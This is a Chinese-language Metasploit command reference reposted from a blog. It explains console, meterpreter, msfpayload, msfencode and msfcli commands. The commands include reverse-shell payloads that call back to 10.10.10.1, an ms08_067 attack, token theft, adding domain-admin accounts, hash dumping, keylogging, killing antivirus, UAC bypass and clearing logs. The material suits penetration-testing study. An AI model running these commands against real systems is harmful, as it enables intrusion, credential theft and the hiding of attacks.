#metasploit命令简介(一)
转载http://blog.sina.com.cn/s/blog_7f5f17d40102vx9x.html
▼
本文看完需要25min,请合理安排时间
标签: metasploit命令 metasploit基础 metasploit教程 分类: metasploit
启动msf终端
root@bt:/opt/framework/msf3# pwd
/opt/framework/msf3
root@bt:/opt/framework/msf3# ./msfconsole
或者直接运行
root@bt:~# msfconsole
msf更新
root@bt:~# msfupdate
show exploit
列出metasploit框架中的所有渗透攻击模块
show payload
列出metasploit框架中所有的攻击载荷
show auxiliary
列出metasploit框架中所有的辅助攻击模块
search name
查找metasploit框架中所有的攻击和其他模块
msf > search -h
Usage: search [keywords]
Keywords:
app : Modules that are client or server attacks
author : Modules written by this author -----根据作者来查询
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID ----根据漏洞命名ID来查询
edb : Modules with a matching Exploit-DB ID
name : Modules with a matching descriptive name -----根据名称来查询
osvdb : Modules with a matching OSVDB ID
platform : Modules affecting this platform -----根据模块级别来查询,缩小查询范围
ref : Modules with a matching ref
type : Modules of a specific type (exploit, auxiliary, or post) -----根据类型来查询,如:类型为exploit,或者类型为auxiliary
Examples:
search cve:2009 type:exploit app:client
info
展现出定制渗透攻击或者模块的相关信息
msf > info
Usage: info mod1 mod2 mod3 …
Queries the supplied module or modules for information.
比如
msf > info auxiliary/admin/mysql/mysql_enum
Name: MySQL Enumeration Module
Module: auxiliary/admin/mysql/mysql_enum
Version: 10680
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Carlos Perez.
Basic options:
Name Current Setting Required Description
PASSWORD no The password for the specified username
RHOST yes The target address
RPORT 3306 yes The target port
USERNAME no The username to authenticate as
Description:
This module allows for simple enumeration of MySQL Database Server
provided proper credentials to connect remotely.
References:
https://cisecurity.org/benchmarks.html
use name
装载(使用)一个渗透攻击或者模块
例如:使用 exploit/windows/smb/ms08_067_netapi
use exploit/windows/smb/ms08_067_netapi
LHOST
可以让远程计算机连接的本地IP,通过情况下远程目标主机不是同一个局域网,需要一个公共的IP地址,作为接受目标远程主机发送的信息,如反弹shell
RHOST
远程目标主机IP
Metasploit终端命令
back
返回上一层
msf > show options
参数options是保证metasploit框架中的各个模块正确运行所需的各种设置
Global Options:
Option Current Setting Description
ConsoleLogging Log all console input and output -----终端输入输出日志,可以通过set loglevel [0-5]进行设置日志级别
LogLevel Verbosity of logs (default 0, max 5) ------日志级别,默认是0,最大是5
MinimumRank The minimum rank of exploits that will run without explicit confirmation —漏洞级别默认情况下使用最小的。在搜索出现一个攻击载荷时有rank标识就是级别,normal(正常),excellent(优秀),good(良好),average(平均)
SessionLogging Log all input and output for sessions ----会话输入输出日志
TimestampOutput Prefix all console output with a timestamp —终端控制台在输出时时间戳
set function
设置特定的配置参数,例如:设置本地或者远程主机参数
setg function
以全局方式设置特定的配置参数
show命令大概有如下:
show auxiliary;, ;show exploits;, ;show payloads;, ;show encoders;, 和 ;show nops;
show targets
列出渗透攻击所有支持的目标平台
show options
列出某个渗透攻击或者模块中所有的配置参数
set target num
指定你所知道的目标操作系统以及补丁版本类型
set payload
指定想要使用的攻击载荷
show advanced
列出所有高级配置选项
set autorunscript migrate -f
在渗透攻击完成后,将自动迁移到另一个进程
check
检查目标是否对选定渗透攻击存在相应的安全漏洞
exploit
执行渗透攻击或者模块攻击目标
exploit -j
在计划任务下进行渗透攻击(攻击将在后台运行)
exploit -z
渗透攻击成功后不与会话进行交互
exploit -e encoder
制定使用的攻击载荷编码方式。例如:exploit -e shikata_ga_nai
exploit -h
列出exploit 命令帮助
msf > sessions -h
Usage: sessions [options]
Active session manipulation and interaction.
OPTIONS:
-K Terminate all sessions
-c Run a command on the session given with -i, or all
-d Detach an interactive session
-h Help banner
-i Interact with the supplied session ID
-k Terminate session
-l List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all
-s Run a script on the session given with -i, or all
-u Upgrade a win32 shell to a meterpreter session
-v List verbose fields
sessions -l
列出可用的交互会话
sessions -l -v
列出所有可用的交互会话以及会话详细信息。例如可以列出攻击系统所使用那一个漏洞
sessions -s script
在所有活跃的metasploit会话中运行一个特定的metasploit脚本
sessions -k
杀死所有活跃交互会话
sessions -c cmd
在所有活跃的metasploit会话执行一个命令
sessions -u sessionID
升级一个普通的win 32 shell到meterpreter shell
db_creat name
创建一个数据库驱动攻击所要使用的数据库。例如:db_create autopwn
db_connec name
创建并连接一个数据库驱动攻击所要使用的数据库。例如:db_connect autopwn
db_nmap
利用nmap并把扫描数据存储到数据库中。支持普通的nmap语法。例如 :-sT -v -PO
db_autopwn -p -r -e
对所有发现的开发端口执行db_autopwn.攻击所有系统,并使用一个反弹式shell
db_destroy
删除当前数据库
#Meterpreter命令
run scriptname
运行meterpreter脚本,可以进入script/meterpreter目录下查看所有脚本
/opt/framework/msf3/scripts/meterpreter
root@bt:/opt/framework/msf3/scripts/meterpreter# ls |wc -l
66
sysinfo
列出受控主机的系统信息
meterpreter > sysinfo
Computer : DH-CA8822AB9589
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
ls
列出目标主机文件和文件夹信息
use priv
加载特权提升扩展模块,来扩展meterpreter库
ps
显示所有运行进程以及关联的用户账号
eterpreter > ps
Process list
PID Name Arch Session User Path
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
516 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
608 csrss.exe x86 0 NT AUTHORITY\SYSTEM ??\C:\WINDOWS\system32\csrss.exe
632 winlogon.exe x86 0 NT AUTHORITY\SYSTEM ??\C:\WINDOWS\system32\winlogon.exe
676 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
688 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
migrate PID
迁移到一个指定的进程ID
use incognito
加载incognito功能,用来盗窃目标主机的令牌或者假冒用户
list_tokens -u
列出目标主机用户的可用令牌
impersonate_token DOMAIN_NAME\USERNAME
假冒给定进程的可用的令牌
steal_token PID
盗窃给定进程的可用令牌并进行令牌假冒
drop_token
停止假冒当前令牌
getsystem
通过各种攻击向量来提升到系统用户权限
shell
以所有可用令牌来运行一个交互的shell
execute -f cmd.exe -i -t
以所有可用令牌来执行cmd命令
execute -f cmd -i
执行cmd.exe命令并进行交互
execute -f cmd.exe -i -H -t
以所有可用令牌来执行cmd命令并隐藏该进程
rev2self
回到控制目标主机的初始用户账号下
reg command
在目标主机注册表进行交互,创建、删除、查询等操作
setdesktop number
切换到另一个用户界面
screenshot
对目标主机的屏幕进行截图
upload file
向目标主机上传文件
download file
从目目标主机下载文件
键盘记录
keyscan_start
针对远程目标主机开启键盘记录功能
keyscan_dump
存储目标主机上捕获的键盘记录
keyscan_stop
停止针对目标主机的键盘记录
getprivs
尽可能多的获取目标主机上的特权
uictl enable keyboard/mouse
接管目标主机的键盘和鼠标
background
将你当前的meterpreter shell 转为后台执行
hashdump
导出目标主机中的口令哈希值
use sniffer
加载嗅探模块
sniffer_interfaces
列出目标主机所有开发的网络接口
sniffer_dump interfaceID pcapname
在目标主机上启动嗅探
sniffer_start interfaceID packer-buffer
在目标主机上针对特定范围的数据包缓冲去启动嗅探
sniffer_stats interfaceID
获取正在实施嗅探网络接口的统计数据
sniffer_stop interfaceID
停止嗅探
add_user username password -h ip
在远程目标主机上添加一个用户
add_group_usr "Domain admins " username -h ip
将添加的用户加入到目标主机的域管理员组中
clearev
清除目标主机上的日志记录
timestomp
修改文件属性,例如修改文件的创建时间
Msfpayload命令
注:msfpayload目前已经取消,官方利用Msfvenom代替
msfpayload -h
查看帮助
msfpayload windows/meterpreter/bind_tcp O
列出所有windows/meterpreter/.bind_tcp 下攻击载荷的配置项
msfpayload windows/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=443 X>payload.exe
创建一个meterpreter的reverse_tcp攻击载荷,回连到10.10.10.1的443端口,将其保存名为payload.exe的Windows可执行程序
msfpayload windows/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=443 R>payload.raw
创建一个meterpreter的reverse_tcp攻击载荷,回连到10.10.10.1的443端口,将其保存名为payload.eraw。可以利用msfencode使用
msfpayload windows/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=443 C>payload.c
创建一个meterpreter的reverse_tcp攻击载荷,回连到10.10.10.1的443端口,将其保存名为payload.c,可以利用C使用
msfpayload windows/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=443 J>payload.java
创建一个meterpreter的reverse_tcp攻击载荷,回连到10.10.10.1的443端口,将其保存名为payload.java,可以利用java出现使用
#Msfencode命令
msfencode -h
查看帮助
msfencode -l
列出所有可用的编码器
msfencode -t(c,elf,exe,java,js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)
显示编码缓冲区的格式
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
使用shikata_ga_nai 编码器进行对payload.raw进行5次编码,然后导出一个encoded_payload.exe的文件
Msfcli命令
msfcli
可以列出所有渗透攻击模块
msfcli | grep exploit
仅仅列出exploit渗透攻击模块
msfcli |grep exploit/windows
列出与windows相关的攻击渗透模块
msfcli exploit/windows/smb/ms08_067_netapi payload=windows/meterpreter/bind_tcp lport=443 rhost=10.10.10.1 E
对10.10.10.1发起ms08_067_netapi 渗透攻击,配置bind_tcp攻击载荷,并且绑定在443端口上监听。
#Meterpreter后渗透攻击阶段命令
进行提权
use priv
getsystem
从一个给定的进程ID中窃取一个域管理组令牌,添加一个域用户,并把域帐号添加到域管理员组中。
ps
steal_token 1784
shell
net user metasploit 123 /add /domain
net group “domain admins” metasploit /add /domain
从SAM导出密码哈希值
use priv
getsystem
hashdump
自动迁移到一个独立进程
run migrate
通过meterpreter的killav 脚本杀死目标主机运行的杀毒软件进程
run killav
针对特定进程捕获目标主机上的键盘记录
ps
migrate 1634
keyscan_start
keyscan_dump
keyscan_stop
metasploit命令简介(三)
注意:键盘监控无法监控到鼠标的移动位置。所以会导致获取到数据不准确
使用匿名方式来假冒管理员
use incognito
list_tokens -u
use priv
getsystem
list_tokens -u
impersonate_token IHAZSECURITY\Administrator
查看目标主机采取的防护措施,然后关闭防火墙、杀毒软件等
run getcountermeasure
run getcountermeasure -h
run getcountermeasure -d -k
识别主机是否是虚拟机
run checkvm
启动cmd shell
shell
启动主机图像界面
run vnc
将meterpreter运行在后台
backgroup
绕过windows用户账号控制(UAC)机制
run post/windows/escalate/bypassuac
获取苹果系统的哈希值
run post/osx/gather/hashdump
获取linux系统哈希值
run post/linux/gather/hashdump
当获取到Meterpreter的时候想要返回MSF终端这可以
输入:background,Meterpreter会话会在后台运行,
输入sessions -l 和sessions -i id(会话ID)则会回到Meterpreter
控制台。